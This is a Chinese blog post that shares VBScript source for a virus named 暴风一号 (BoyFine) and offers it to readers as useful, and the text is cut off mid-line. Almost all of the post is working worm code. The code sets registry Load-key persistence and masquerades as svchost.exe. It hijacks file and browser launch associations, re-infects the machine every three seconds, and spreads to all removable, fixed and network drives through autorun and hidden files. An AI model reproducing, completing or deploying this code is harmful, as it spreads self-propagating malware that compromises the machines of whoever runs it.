高质量病毒——暴风一号（BoyFine）代码.vbs

最新推荐文章于 2024-07-20 16:45:44 发布

aczxZ

最新推荐文章于 2024-07-20 16:45:44 发布

阅读量2.2k

点赞数 2

文章标签： windows microsoft

本文链接：https://blog.csdn.net/aczxZ/article/details/126232210

版权

最近我看到了一些很有趣的代码（主要是因为他是病毒），来，话不多说
直接上代码，希望对大家有帮助，此外，我要对它的名称进行说明，他的
中文名是暴风一号，英文名是BoyFine

On Error Resume Next
Dim Fso, WshShell
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
Set WshShell = CreateObject("wScRipT.SHelL")
Call Main
Sub Main()
    On Error Resume Next
    Dim Args, VirusLoad, VirusAss
    Set Args = WScript.Arguments
    VirusLoad = GetMainVirus(1)
    VirusAss = GetMainVirus(0)
    Call VirusAlert
    Call MonitorSystem
End Sub
Sub MonitorSystem()
    On Error Resume Next
    Dim ProcessNames, ExeFullNames
    VBSFullNames = Array(GetMainVirus(1))

    Do
        Call InvadeSystem(GetMainVirus(1), GetMainVirus(0))
        Call KeepProcess(VBSFullNames)
        WScript.Sleep 3000
    Loop

End Sub
Sub InvadeSystem(VirusLoadPath, VirusAssPath)
    On Error Resume Next
    Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version
    Load_Value = "%SystemRoot%\system\svchost.exe " & """" & VirusLoadPath & """"
    File_Value = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " %1 %* "
    IE_Value = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " OIE "
    MyCpt_Value1 = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " OMC "
    MyCpt_Value2 = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " EMC "
    HCULoad = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load"
    HCUVer = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver"
    HCUDate = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date"
    VirusCode = GetCode(WScript.ScriptFullName)
    Version = 1
    HostSourcePath = Fso.GetSpecialFolder(1) & "\Wscript.exe"
    HostFilePath = Fso.GetSpecialFolder(0) & "\system\svchost.exe"

    For Each Drive In Fso.Drives

        If Drive.IsReady And (Drive.DriveType = 1 Or Drive.DriveType = 2 Or Drive.DriveType = 3) Then
            DiskVirusName = GetSerialNumber(Drive.DriveLetter) & ".vbs"
            Call CreateAutoRun(Drive.DriveLetter, DiskVirusName)
            Call InfectRoot(Drive.DriveLetter, DiskVirusName)
        End If

    Next

    If Fso.FileExists(VirusAssPath) = True Or Fso.FileExists(VirusLoadPath) = True Or Fso.FileExists(HostFilePath) = True Then
        If GetFileSystemType(GetSystemDrive()) = "NTFS" Then
            Call SetHiddenAttr(HostFilePath)
            Call CreateFile(VirusCode, VirusAssPath)
            Call CreateFile(VirusCode, VirusLoadPath)
            Call CopyFile(HostSourcePath, HostFilePath)
        Else
            Call SetHiddenAtt